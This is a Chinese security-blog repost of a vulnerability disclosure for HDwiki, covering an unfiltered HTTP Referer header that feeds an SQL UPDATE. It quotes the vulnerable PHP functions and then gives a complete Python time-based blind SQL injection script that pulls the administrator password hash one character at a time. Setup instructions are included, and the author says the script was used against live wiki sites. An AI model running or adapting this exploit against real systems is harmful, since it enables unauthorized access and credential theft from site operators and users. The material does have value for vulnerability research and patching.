HDwiki时间延迟盲注及利用代码

没穿底裤 2020年1月1日00:13:09评论318 views字数 2336阅读7分47秒阅读模式
摘要

/* * by phithon
* http://www.leavesongs.com & http://xdsec.org
*/    hdwiki某处对referer未做过滤,造成sql注入

/* * by phithon
* http://www.leavesongs.com & http://xdsec.org
*/

    hdwiki某处对referer未做过滤,造成sql注入

    但因为没有输出点,只能做盲注

    基于时间的盲注脚本已写好,测试可注入出“光明网百科”等百科网站的管理员密码md5值:
在文件/model/user.class.php 第41行add_referer函数:

[php]
function add_referer(){
if($_SERVER['HTTP_REFERER']){
$this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".$_SERVER['HTTP_REFERER']."' WHERE sid='".base::hgetcookie('sid')."'", '1');
}
}[/php]
直接将$_SERVER[‘HTTP_REFERER’]带入sql语句查询,产生注入。

在/control/user.php文件第108行,dologin函数中调用了add_referer:
[php]
function dologin(){
$_ENV['user']->passport_server('login','1');
if(!isset($this->post['submit'])){
$this->view->assign('checkcode',isset($this->setting['checkcode'])?$this->setting['checkcode']:0);

$_ENV['user']->add_referer();[/php]
所以只需要向/index.php?user-login提交POST数据包即可,将注入代码放在REFERER中。

利用思路有三:

01.因为是UPDATE语句,可以直接修改session表,将用户相关权限修改。但后台权限验证在user表中,所以暂时我没找到可利用的方法。

02.报错注入。但此处执行函数query中,默认是不显示报错信息的,所以也无法利用。

03.sql盲注,可写一个基于时间的SQL盲注脚本,跑跑管理员的密码。但缺点很明显,因为受到网速的限制(与一些不可预测因素限制),我在本地测试的盲注是可以注入获得正确md5的,但我注入一些网站的时候注入出的md5可能解不出来,也可能有一些偏差。但不可否认的是可以注入获得管理员md5.

SQL盲注代码:
[php]
#!/usr/bin/python
# -*- coding: utf-8 -*-
__author__ = 'Phtih0n'
import requests, sys, time
#####################
#需要你编辑的变量
uid = 2 #你注册用户的uid
url = 'http://localhost/wiki'
#####################

headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 '
'(KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36 LBBROWSER',
'Cookie': 'hd_sid=aaaaa',
}
hex = range(48, 57) + range(97, 103)
target = '%s/index.php?user-login' % url
post = {
'username': 'test',
'password': 'test',
'indexlogin': '1'
}
passwd = ""
if __name__ == '__main__':
for i in range(1, 33):
clock = []
for n in hex:
# requests.get(url, headers = headers)
headers['Referer'] = "', code=(select if(ord(substring((select password from wiki_user " /
"where uid=1),%d,1))=%d ,sleep(5),0)) where uid=%d#" % (i, n, uid)
bef = time.clock()
rep = requests.post(target, data = post, headers = headers, timeout = 2000)
clock.append(time.clock() - bef)
if rep.status_code != 200:
print "网络错误或该网站并不是hdwiki"
sys.exit(0)

# print clock
pos = clock.index(max(clock))
passwd += chr(hex[pos])
print chr(hex[pos])
print "success: %s" % passwd[/php]
本脚本依赖python的requests库,该库能使python方便地进行http操作,不安装该脚本会出错。官网地址:http://www.python-requests.org/

使用脚本前首先注册一枚账号,在用户信息页面获得你的uid,填入上方”uid=”处。因为为了不破坏session表中其他用户字段信息,所以在注入的时候写了一个where从句,所以需要一个uid。

而且,当session表不存在字段时,也是不能update的,所以注册一个用户,该表就至少有一个字段

当然实际上该盲注是不需要有用户权限的。

建议测试的时候先在本地测试,此时网速对延时盲注的影响较小,我测试的时候基本没有出现错误,注入获得的md5都能解出正确明文。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日00:13:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HDwiki时间延迟盲注及利用代码http://cn-sec.com/archives/75455.html

发表评论

匿名网友 填写信息